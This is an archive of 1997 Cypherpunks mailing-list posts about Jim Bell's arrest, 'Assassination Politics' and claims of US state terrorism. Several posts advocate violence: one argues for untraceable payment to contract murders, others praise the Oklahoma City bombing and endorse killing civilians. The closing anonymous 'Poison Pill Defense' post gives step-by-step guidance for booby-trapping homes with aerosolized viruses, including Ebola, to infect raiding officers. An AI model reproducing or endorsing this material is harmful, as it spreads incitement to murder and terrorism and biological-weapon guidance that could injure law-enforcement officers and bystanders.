At 11:30 AM -0800 5/20/97, Eric Murray wrote:

>The _IRS_ can arrest people for 'scheming to overthrow the U.S. government' !?
>
>I thought that was the FBIs job.  I'm sure they'd have wanted to be
>in on it if he was as big a terrorist as they're making him out to be.
>Maybe the FBI that the bulk of the charges are bogus and wanted nothing to
>do with them, but the IRS went ahead anyhow to harass him and to
>justify their earlier search.  Food for thought and grounds for
>further research...

Maybe now Eric you'll understand why I'm so angry. Maybe you'll even stop
complaining that the list is not talking about pseudoelliptic primes and
other such techno-crippie jive and is instead talking about using strong
crypto as the weapon of destruction is most assuredly is.

(I was there at the very beginning of Cypherpunks and can assure you that
it was _NOT_ created in a political or policy vacuum as just some other
forum for sci.crypt discussions, despite what some have claimed. It was
about the use of strong crypto, anonymous payment systems, data havens,
remailers, and other such Cypherpunkish tools to ensure personal liberty,
freedom from mob rule, avoidance of taxation, liberation from moral
do-gooders, undermining of democracies run amok, and destruction of fascist
and statist infrastructures.)

I saw your comment yesterday about how "You used to be someone whos
postings I read and words I listened to, because you seemed to make sense.
However the last few months you have been talking of little except
way-illegal actions, armed resistance, etc. which IMHO is not yet called
for and which is not shared by the majority of the list."

I've never claimed my views are "shared by the majority of the list"
(though they might be, at the core). I write what I want to write, not what
I think the "shared" views of the list are. You are, of course, free to
write your own stuff, or leave the list, or whatever.

If, as you claim, I am perceived by some (who?) as the "leader of the
Cypherpunks," perhaps this has something to do with the precise points I
have been making for the past several years. (Hint: take a look at what's
been in my .sig for so many years and notice how closely it matches the
things you claim do not represent the shared values of the list, whatever
you think those might be.)

As to why I don't write "reasonable" essays as much anymore...I wrote
"reasonable" essays, many hundreds of them, for several years. (Though if
you read the 1992-94 archives you'll find plenty of angry articles from me
and from many others.)

The vise is tightening. A dozen or more repressive pieces of legislation
are working their way through a compliant Congress, with a
get-along-by-going-along cadre of "cyber rights" organizations helping to
"work the system."

The US government is freaking out. Freaking out and lashing out. And the
courts are no longer willing or able to rein in the excesses. The cancer
that is Washington has metastasized throughout the body. Only radical
therapy--radiation therapy? :-} --will work now.

The time for "reasonable" essays has long passed. They only understand
stronger measures.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 21 May 1997 01:47:20 +0800
To: cypherpunks@algebra.com
Subject: PGP version 5 source code?
Message-ID: <199705201733.NAA22390@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Will PGP Inc make the source code for the new version of pgp 
available?












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 21 May 1997 01:58:07 +0800
To: cypherpunks@toad.com
Subject: Jim Bell 2
Message-ID: <1.5.4.32.19970520173416.008a2f4c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


   The Oregonian, May 20, 1997, Metro Section P-1:

   IRS says suspect discussed sabotage

      An affidavit says a Vancouver man arrested Friday talked of
      sabotaging Portland's 9-1-1 computer and Bull Run water

   By John Painter, Jr., of the Oregonian staff

   Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
   Revenue agents discussed sabotaging the computers in Portland's
   9-1-1 center and talked about using a botulism toxin to contaminate 
   the Bull Run water supply, a federal agent said Monday.

   James Dalton Bell, 38, appeared Monday afternoon in U.S. District
   Court in Tacoma and was accused in an 18-page affidavit of scheming
   to overthrow the U.S. government.

   U.S. Magistrate J. Kelly Arnold set Friday for a detention and
   preliminary hearing. The government has asked that Bell be held
   without bail because he is a danger to the community.

   Bell, who describes himself as a libertarian, has a history of tax
   disputes with the IRS, which says Bell "has a large, outstanding unpaid
   balance."

   Bell is the author of "Assassination Politics," a 10-part essay about a
   risk-free way of rewarding assassins who successfully kill designated
   public officials. The essay has circulated on the Internet.

   The strategy, which Bell says he wrote and posted for discussion,
   involves uses of encryption to predict and confirm assassinations and
   electronic digital cash to pay for the killings.

   Federal agents raided Bell's Vancouver home April 1.

   He is accused of obstructing government officers and employees and
   using false Social Security numbers. But government agents think he
   is far more dangerous than the charges suggest, the affidavit filed by
   IRS Inspector Phillip G. Scott said.

   Scott's affidavit said Bell, who has a chemistry degree from the
   Massaschusetts Institute of Technology, had discussions about using
   carbon fiber particles to attack computer systems with Greg Daly, a
   friend who is an electronics specialist overseeing Portland's 9-1-1
   communications center.

   "Daly stated that he and Bell had 'laughed' about attacking the 9-1-1
   center with fiber," the affidavit said.

   Daly also told IRS agents that he had hypothetical discussions with
   Bell about contaminating water supplies and about making botulism
   toxin from green beans, the affidavit said.

   In the April 17 and 18 interviews with IRS agents, Daly said that as part
   of his job, he "has keys and direct access to the Portland Bull Run
   water treatment facility."

   Daly said Monday that the conversations that he and Bell had were
   merely "intellectual fun-and-games discussions" between old friends
   who enjoy technical things.

   "There's a difference between reasonable freedom of speech and
   unreasonable probability of attack," Daly said. "Standing around and
   flapping our lips about how it would be funny is way different from
   even contemplating actual attack."

   Daly described his friend of 15 years as a "bit of an odd unit" but never
   dangerous and never serious about attacking the 9-1-1 systems or the
   Bull Run watershed.

   "I'd rat him out in a heartbeat for that," Daly said.

   Thursday, IRS agents searched the home of Robert East, a merchant
   radioman and a friend of Bell's. Among items seized was 3-foot length
   of carbon fiber.

   The affidavit said East told agents that he and Bell had discussed "the
   possibility of putting the fibers down the air vents of a federal building"
   to kill its computers and about using the fiber against the IRS.

   However, Bell has described himself as a "man of ideas, not action,"
   and East said Bell was a "talker, not a doer."

   [End]

   Thanks to John Painter.











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 21 May 1997 05:08:35 +0800
To: cypherpunks@toad.com
Subject: Re: OTP
Message-ID: <199705202043.NAA19503@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 15 May 1997 00:23:51 -0600 (MDT)
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Cc: cypherpunks@toad.com
Subject: Re: OTP
Sender: owner-cypherpunks@cyberpass.net
Reply-To: Graham-John Bullers <real@freenet.edmonton.ab.ca>

On Wed, 14 May 1997, lucifer Anonymous Remailer wrote:


I think Vulis needs each of us to send ten copies of this back to
him.

> Timmy May's reheated, refurbished, and regurgitated cud is completely 
> inappropriate for the mailing lists into which it is cross-ruminated.
> 
>            \|/
>         /~~~~~~~\
>        |  O   O  |
>    -ooo-----U-----ooo- Graham-John Bullers
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 05:26:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The USA is the world's biggest terrorist state
In-Reply-To: <199705201930.MAA05329@you.got.net>
Message-ID: <v03007802afa7c77529a3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:47 AM -0800 5/20/97, Peter Trei wrote:

>What I posted was an idea for a POLL, nothing more. There was no
>suggestion that of any kind of action or incentive - no advocacy
>of murder, no anonymous cash, no payoffs, nothing. This is NOT
>'implementing a variant of assassination politics', and I take
>strong exception to your implication that I would support such
>a thing.

All Bell ever proposed was a kind of POLL. A series of bets. There is very
little distinction. In fact, were a POLL to be used as the scoreboarding
mechanism, any number of clever derivatives of the same poll could be used
to implement AP.

(To flesh this out, imagine Caesar's Palace in Las Vegas posting the poll
the way they post racing results...others could then take bets on who would
appear on the poll. If "Janet Vegas" led the poll of "Living Persons
Desired to be Dead," and I knew approximately when Janet Vegas were to
die--similarities with AP intentional--then I could make a fair amount by
betting that Janet Vegas would soon disappear from that list of "Living
Persons Desired to be Dead" poll.

My point was not that you were supporting the kiling of anyone, Peter, but
that your playing around with a variant--and I maintain that this is what
your POLL is--of Bell's variant is essentially just what Bell was doing.

(I happen to think it's a lot cleaner and more efficient to have primary
market, using untraceable contact and payment systems to contract for
murders, and that Bell's AP was clumsy and inefficient and would probably
have outcomes far from what he speculated might be the outcome.)


>
>I really hate it when you misread, misconstrue, and misquote
>other people. You really seem to have a very tenuous love of truth
>and accuracy when falsehood will serve your purpose better (if
>you think that sounds like the tactics of a certain large
>organization you dislike, you're right.)

As I said, I wasn't claiming you supported AP or killings in general. I was
noting that your playing with related ideas, which surely you must admit
bear several similarities to AP, is just what Bell was doing.


>Let's take just one paragraph from your latest screed. Can you back
>up all or even most of the points in it? I don't think so. You wrote:
>
>>The United States of America is the world's leading terrorist state.
>
>Matter of opinion. I suspect that Libya, Iraq, and Iran are better
>candidates. If you include internal terrorism, add China, North
>Korea, and many others ahead of the US.

As you say, a matter of opinon. Next point.

>
>>From mining harbors in countries with democratically elected
>>governments...
>
>I've got only a quibble with this one. We did mine Managua, ie one
>harbor in one country. While this was clearly unacceptable behaviour,
>it does demonstrate your tendency to play fast and loose with
>numbers.

It seems you agree with me on this. Next point.


>>...to financing the blowing up of airliners by dissident
>>groups
>
>Really? Which ones? Be specific. Which airlines, which flights?
>What were the circumstances in each case? You're using plurals
>again, so you'd better have multiple instances.

Cuban Airlines, for example, by CIA-funded Cuban guerillas. Cf. the URL
http://www.cubaweb.cu/noticias/violence.html, one of many describing the
details.

"The U.S. government has taken almost no action against Cuban
emigree terrorists who operate freely from U.S. territory, despite
the fact that that country pretends to condemn terrorism around
the world. Further, when Cuban defectors have hijacked planes
and boats and/or killed people in the process, U.S. has refused to
return them to Cuba for prosecution and, in fact, have released
them with at most a gentle verbal slap.

"The most awful terrorist action occurred on October 6, 1976, when a bomb
planted aboard a "Cubana Airlines" plane exploted after the passenger jet
took off from Barbados, killing all 73 people aboard -57 Cubans (including
the entire fencing team), 11 Guyanese and 5 North Koreans."

The CIA also engineered the bomb timers Terpil and Wilson, either CIA
agents or CIA renegades, or both (you decide), used in several airliner
destructions. (Why was the CIA building altitude-sensing bomb fuzes which
could be disguised in radios? Only one guess allowed.)

(It's also been reported that Abu Abbas has worked for the Agency, and that
much of the Bekaa Valley/Syrian/Lebanese drug trade is connected with these
areas. No time to write about it here, but do searches on BCCI, Abbas,
Castle Bank, Terpil, Wilson, Bekaa, etc.)


>>...to assassinating dozens of leaders of countries the USA wished
>>to shape in different directions, the USA is Terror State Numero Uno.
>
>Dozens? As in 12+? Again, which ones? When? Any since the (Carter?)
>exec order forbidding attacks against heads of state?

It would take too long to find all the URLs and supporting evidence for a
precise count, but here are some of the _countries_ and leaders in which
the U.S. has been fairly convincingly linked to the killings:

* Iran/Mossadegh
* Algeria/Ben Bella
* Congo/Lamumba (and the guy who came before or after)
* Viet Nam, Diem, and other regional leaders
* Cuba, several attempts on Castro, well-documented (they got Che Guevara)
* Chile, Allende
* several other smaller African nations, whose leaders were assassinated in
what are believed to be CIA and DIA actions (or where CIA, etc. provided
support)

As to Carter's order, so? Do we know, or even have reason to believe, that
Reagan, Bush, and even Clinton have not had government officials of even
heads of state in other countries whacked?

(Noriega claims, fairly convincingly, that he holed up in the Catholic
hospital (or church, whatever) because he understood the desire of the U.S.
was to kill him and not have to have a very public trial in the U.S. This
is not a proved claim, but the "smoking gun" on these sorts of things is
rarely found. Many analysts have stated that avoiding taking Noriega alive
was a goal of "Operation Just Cause.")



>Tim, can you back up your words with facts, or are your recent
>posts "... full of sound and fury, signifying nothing."?

Well, it seems we agreed the first "claim" was a matter of opinion, the
second one was as I stated it, the third one was evidenced by the Cuban
airliner blown up by CIA-funded terrorists (excuse me, "freedom fighters"),
and possibly other examples in the Mideast. Which leaves the last point,
about assassinations of foreign leaders.

Counting all the killings of leaders, I believe the body count for
U.S.-sponsored or -encouraged killings will exceed a dozen. Maybe a couple
of dozen over the past several decades.

In any case, if you want me to taken the "s" out of "dozens," as I cannot
document 24 such kilings, I will be happy to.

(Here's one analysis, of many, of the Lamumba situation: "CHARLAYNE
HUNTER-GAULT: Le Mumba, the first democratically elected leader in all of
Africa, was aligned with the Soviet Union, and in the post-independent
chaos was murdered, if not with CIA help, many believed with CIA blessing.
Urquhart argues that the politics of the Cold War severely retarded Zaire's
political development.

"SIR BRIAN URQUHART: These were proxy Cold War battles, and, of course, the
Congo, now Zaire, originally got into trouble on an East-West split because
the West of the United States backed President Kazabubu and the East and
Soviet Union backed the prime minister, who was Patrice LaMumba."

Add to this list the others I mentioned. I'd say it's fine tribute to a
democartic people's republic like the USA.


>There are sufficient *real* problems with US policy that
>your exaggerations are counter-productive.
>

I stand by what I wrote.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 05:44:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: For Whom the Bell Tolls
In-Reply-To: <199705201934.MAA27619@netcom4.netcom.com>
Message-ID: <v03007803afa7d26abcae@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:34 AM -0800 5/20/97, Mike Duvos wrote:

>It is unfortunate that in a country which advertises itself as
>some sort of bastion of free speech, one must constantly guard
>ones speech to make sure that it contains no snippets suitable
>for an inflammatory sound byte on the evening news.
>
>Just another of the many manifestations of "The Policeman
>Inside."

No totalitarian state can police all of the citizen-units, so they rely
heavily on fear. And on informants, and "capos." And on DARE-like narc
programs.

(D.A.R.E. stands for "Drug Abuse Resistance Education," a program in many
U.S. public schools which is essentially mandatory. My sister's husband
tried to get his son excused from the 6-week program and was told by the
school, in Long Beach, CA, that while it was not _required_, it was
strongly advised and that his son would have to sit alone in the
principal's office while the other student-units were undergoing
reprogramming. My brother-in-law gave in to the inevitable and let his son
undergo indoctrination. I have a black t-shirt I ordered from an alt.drugs
ad: "D.A.R.E.  (in smaller letters below) I turned in my parents and all I
got was this lousy t-shirt." This gets a wonderful response when I wear it
in Santa Cruz (or to Cypherpunks meetings), but I had one mother come up to
me at a party and tell me she didn't like me wearing it when her
14-year-old son was present. I avoided saying "Fuck off," and instead told
her I'd wear what I wanted to wear.)

The total state also likes to see would-be spokesmen for liberty eventually
nudged (worn out?) toward adopting compromise positions. They become the
"capos" of the new regime, the trusties of the police state.

As a noted reporter and putative libertarian puts it: "Censor yourself or
the government will." (He admitted he didn't like making this argument, but
there it was.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 06:17:16 +0800
To: cypherpunks@algebra.com
Subject: Hey, what does this mean?
Message-ID: <v03007804afa7d8fc47e2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


Anybody know what this means?



ARLINGTON, Va. (Reuter) - David Aaron, a Special Ambassador to an
internationoal organization known as the OECD, has been arrested following
a pre-dawn raid on his home in the posh Lake Barcroft section of Arlington,
near Washington, D.C.

According to Arlington detective Tom DeGongue, Aaron was charged Monday in
Arlington Circuit Court with one felony count of possession of bomb-making
instructions and one misdemeanor count of resisting arrest. According to
DeGongue, there were indications found in the home that Aaron had also
talked about nuclear weapons and terrorism with others, which could open
the door for more charges to be filed.

Speaking for Mr. Aaron, his attorney Charles L. Klausen stated that the
alleged bomb-instructions were related to research Mr.Aaron had done for
novels about terrorists and nuclear weapons, including "State Scarlet" and
"Agents of Influence." "Mr. Aaron was legally entitled to read the
materials allegedly containing bomb-making instructions," said Mr. Clausen.
"In fact, the books seized and the tape-recordings of notes may also be
protected by the Special Rights of Journalists Act of 1986," he added.

Mr. Aaron could not be reached for comment. He was heard by several
witnesses, including memmbers of the tabloid community invited in by the
Arlington detectives, to say, "This is outrageous. I'm a well-respected
member of the Cosmos Club and the Bohemian Club! I am establishing the
world's crypto policy and I fly to capitals around the world. I'm not some
two-bit militia member like that guy arrested out in Portland for talking
about sabotaging computers! What do you think this is, Soviet Russia?"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "de Wet Vorster" <a31952@magnfs10.eskom.co.za>
Date: Tue, 20 May 1997 21:44:34 +0800
To: <cypherpunks@toad.com>
Subject: Mixmaster@remail.obscura.com
Message-ID: <5BFF21D4BBC@magnfs10.eskom.co.za>
MIME-Version: 1.0
Content-Type: text/plain


Hi,
Is this remailer still operational ?

Will the following work ?

::
Request-Remailing-To:CRIMSTOP@MAGNFS10.eskom.co.za

Your help will be appreciated
de Wet Vorster
Eskom Corporate Investigations





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 21 May 1997 03:53:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The USA is the world's biggest terrorist state
Message-ID: <199705201930.MAA08122@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim may wrote:
>[much over-the-top exaggeration of the eevull you-ess gubmint 
> deleted, then he gets personal:] 

> I noticed with interest this morning that Peter Trei had an interesting
> thought experiment for implementing a variant of assassination politics.
> Interesting because not much more than a week or two ago Peter was making
> the point that I seemed to have gone off the deep end, or at least was no
> longer writing "thoughtful" essays and/or was not focussing on what he
> wanted to read about (a hopeless task, of course, to tune one's writings to
> the interests of others).

> Peter has now thrown in with the "let's see how AP might work." His
> variant, "Who do we want to see hit with a bus?," is of course essentially
> identical to AP.

No, it is not. The above paragraph totally misconstrues what I posted, 
and I am (again) putting it into the record with this post that I 
oppose all forms of premeditated killing.

What I posted was an idea for a POLL, nothing more. There was no
suggestion that of any kind of action or incentive - no advocacy
of murder, no anonymous cash, no payoffs, nothing. This is NOT 
'implementing a variant of assassination politics', and I take 
strong exception to your implication that I would support such 
a thing.

I really hate it when you misread, misconstrue, and misquote 
other people. You really seem to have a very tenuous love of truth
and accuracy when falsehood will serve your purpose better (if 
you think that sounds like the tactics of a certain large 
organization you dislike, you're right.)

Let's take just one paragraph from your latest screed. Can you back
up all or even most of the points in it? I don't think so. You wrote:

>The United States of America is the world's leading terrorist state.

Matter of opinion. I suspect that Libya, Iraq, and Iran are better
candidates. If you include internal terrorism, add China, North 
Korea, and many others ahead of the US.

>From mining harbors in countries with democratically elected
>governments... 

I've got only a quibble with this one. We did mine Managua, ie one
harbor in one country. While this was clearly unacceptable behaviour,
it does demonstrate your tendency to play fast and loose with 
numbers.

>...to financing the blowing up of airliners by dissident
>groups 

Really? Which ones? Be specific. Which airlines, which flights?
What were the circumstances in each case? You're using plurals 
again, so you'd better have multiple instances.

>...to assassinating dozens of leaders of countries the USA wished
>to shape in different directions, the USA is Terror State Numero Uno.

Dozens? As in 12+? Again, which ones? When? Any since the (Carter?) 
exec order forbidding attacks against heads of state?

Tim, can you back up your words with facts, or are your recent 
posts "... full of sound and fury, signifying nothing."?

There are sufficient *real* problems with US policy that 
your exaggerations are counter-productive.

Peter Trei
Disclaimer: My posts represent my own opinions, no one elses. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 21 May 1997 00:23:33 +0800
To: cypherpunks@cyberpass.net>
Subject: Re: Full Strength Stronghold 2.0 Released Worldwide
In-Reply-To: <ZuJ86D7w165w@bwalk.dm.com>
Message-ID: <199705201608.KAA28454@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970504:2140 dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+Remember: if you comment on the fact that one can't examine this
+product's source code for security holes, you'll get threatening
+letters from C2Net's lawyers: Helena Kobrin, Cantor, & Siegel.

    attila sez:

    well, as far as I am concerned, bully for Sameer's lawyers. anyone 
    who does not provide source code for an [in]security product, 
    particularly one based on an open source product HAS SOMETHING TO 
    HIDE.

    anyone who refuses to show his code not only has something to hide,
    but has probably SOLD OUT to our invasive creeping slime 
    non-representative government.  

    Bill Clinton had the audacity to say at UConn something to the 
    effect:  "...censorship [loss of freedoms] is the first step on the 
    road to tyranny...."  $%&* HYPOCRITE!

    lawyers are lawyers, they make great emergency rations, and they
    taste like chicken, really.

 ______________________________________________________________________

  Lord grant me the serenity to accept the things I cannot change;
    The courage to change the things I can;
      The weapons that make the difference;
        And the wisdom to hide the bodies of the people 
          I had to kill because they were in the way.
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 21 May 1997 01:02:12 +0800
To: tcmay@got.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <ZwoH7D8w165w@bwalk.dm.com>
Message-ID: <199705201644.KAA00248@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    attila sez:

    as to trivializing tim may as to wine and for his comment below on 
    OKC, if the gubmit becomes a terrorist state (and who is to deny 
    that it is not, and has not been this century), then the terrorist 
    much expect retaliation.  

    The US in this century, at one point or another in time, has 
    destabilized 90%+ of the world governments, including the Labour
    Party in GB prior to Iron Maggie's rule (and if you want names of 
    the phony US Dept of State consular employees involved, a pointer 
    can be provided).

    turnabout will be increasingly fairplay.  certainly not by me --too 
    old and far too disinterested to waste energy on a foolish
    self-perpetuating fraud when the majority of ignorance prefers
    security over freedom.

    as for McVeigh: either there were a whole group of people involved 
    to be able to satchel the building columns, or the government was 
    the driving force.  and why was the *entire* ATF staff elsewhere?  

    OKC came at a perfect time to help Clintons' drive to push 
    anti-terrorist legislation to deny personal freedoms "...for the 
    common good."  draw your own conclusions; it's only history 
    repeating itself --noone listened the first couple hundred times.

    as for the great fairweather liberal bigot Blanc's passing it off 
    as tcm's drunken ramblings, I doubt it.  war is hell, and 
    "innocents" get wasted --but, a society at war has no innocents.  
    blow 'em all away.  scorched earth is inadequate; burnt earth is 
    more effective. if there are no prisoners, there are no 
    complainers.

    ___________________> 

on or about 970510:0906 dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+Blanc <blancw@cnw.com> writes:

+[Quoting Timmy May]
+> >Every day that passes, I'm more convinced that McVeigh did the right thing.
+> >Some innocents died, but, hey, war is hell. Broken eggs and all that.
+>
+>
+> Timothy must be drunk; I can't believe he said this.   Because he wouldn't
+> spend so much time writing sensible things of Truth & Light, if he thought
+> the better thing to do for achieving libertarian values was to kill so
+> indiscriminately with a bomb.    After all, he subscribes to utmost
+> discrimination.   So I think right now he's less in the engagement of
+> Reason and more under the influence of maybe some Bud Light.

+Everybody in that building was somehow affiliated with the gubmint.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 21 May 1997 01:14:35 +0800
To: "Timothy C. May" <dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Wine Politics Again!
In-Reply-To: <8a1H7D13w165w@bwalk.dm.com>
Message-ID: <199705201701.LAA01248@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    attila sez:

    Dresden was probably the first highly visible of America's
    willingness to literally destroy civilian populations with the
    express intent of demoralizing a nation.  however, history seems
    to indicate in was a Churchillian "revenge" for the Blitz carried
    out by both British and American bombers --however, the latter
    were capable of greated payloads at greater range.  apparently
    the American bombers carried primarily heavy ordinance, the 
    British lit it up --however, the functions were probably mixed.

    Hiroshima may have been later, but Dresden set the stage. Hiroshime 
    undoubtedly saved hundreds of thousands of both US troops and 
    Japanese civilians from further war --the Emporer stepped in and 
    made the broadcast without the approval of the general staff 
    --basically, "enough is enough."  Dresden served virtually no 
    purpose on the German front --the war was over. Churchill and 
    Roosevelt approved Dresden for revenge; Truman just ended a war.

    Obliterating Iraq and continuing to grind the heel is just another 
    round of power politics and US Middle East foreign policy.  To the
    rest of the world, the US is a militaristic bully bent on economic
    advantage -- the old British lion reincarnated.

    government is its own end:  power corrupts, and absolute power 
    corrupts absolutely.  hasn't changed yet in history.  even the 
    greats, Solomon, David, etc. fell prey to the siren song of power;
    why should far more inferior men like Bubba, who has absolutely 
    nothing to his credit except deceit, be exempt?

    ________________________> 
     

on or about 970510:1312 dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+Tim May <tcmay@got.net> writes:

+> Innocents died in Dresden. No doubt compelling stories and images could be
+> dug up of little Frieda slowly suffocating as the firestorms sucked the air
+> out of her underground shelter, or of little Hans screaming for his mother
+> as his hair bursts into flames. 300,000 died in that fire bomb raid, freely
+> admitted to be a  "public demonstration" of allied willingness to destroy
+> civilians in what was primarily a "cultural" city, not a significant center
+> of military production.

+Why go so far back?  How many civilians were murdered by the U.S.
+gubmint in Korea, in Viet Nam, in Panama, in Iraq?
 ______________________________________________________________________

  Lord grant me the serenity to accept the things I cannot change;
    The courage to change the things I can;
      The weapons that make the difference;
        And the wisdom to hide the bodies of the people 
          I had to kill because they pissed me off.
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Wed, 21 May 1997 05:02:43 +0800
To: cypherpunks@algebra.com
Subject: Re: The USA is the world's biggest terrorist state
In-Reply-To: <199705201930.MAA08122@rigel.cyberpass.net>
Message-ID: <Pine.GSO.3.95.970520164846.8999C-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 20 May 1997, Peter Trei wrote:
> >...to assassinating dozens of leaders of countries the USA wished
> >to shape in different directions, the USA is Terror State Numero Uno.
> 
> Dozens? As in 12+? Again, which ones? When? Any since the (Carter?) 
> exec order forbidding attacks against heads of state?

Ford, I believe.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 21 May 1997 08:02:57 +0800
To: cypherpunks@algebra.com
Subject: Poison Pill Defense
Message-ID: <199705202352.QAA28733@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



I hear from anonymous correspondents that the following
technique has been successfully deployed among some militia
members and cypherpunks who fear raids on their private
property.  Apparently the technique was originally invented
by a biotech lab that the FDA was planning to shut down in an
uncivil manner when Kessler first came to power.  The
lab was never raided.

Preliminary: choose a suitable viral agent.  This may range
from a short, severe flu to Eubola, depending on the level
of deterrence desired and safety precautions you have available.
Long-latency debilitating diseases have also been suggested
as an especially effective deterrent that puts the property
owner at less risk of detection.  The property owner must 
obtain both the agent and an effective vaccine.

Step one: immunize household members against this agent.

Step two: create "tamper avenging" packages around the
house.  Make them very suspicious looking (gun lockers, 
boxes labeled "Danger: Toxic Materials", file folders
labeled "Assassination Schedule for December", and so on).  
Don't put them where guests, pets, and so on can get to them, 
but in places where the thugs will look.

Step two (detail): the tamper avenging package contains an 
invisible film of the viral agent in fluid adsorbed to a suitable
carrier.  The carrier is a clear, thin film of sponge-like material that 
produces a fine aerosol of virus containing fluid drops when
disturbed.  When the package is opened and disturbed, the
aerosol quickly shoots and and spreads throughout several
surrounding cubic meters.  Persons unprotected by immunization
or breathing masks are contaminated with high probability.
I've heard unconfirmed rumors of a special sponge material
that lasts for days, infecting a variety of government personnel
and contractors who come in contact with the evidence, and
in some cases, depending on the particular vector,
people they in turn come in intimate contact with. 

Obviously I have not provided enough useful information
in this post to propery implement this technique.  Don't
try this at home without the help of paid professionals
(who I hear are making a killing now with the recent
spate of raids against militias, patriot groups, cypherpunks,
and so on).

Give me Liberty or Give me Death;
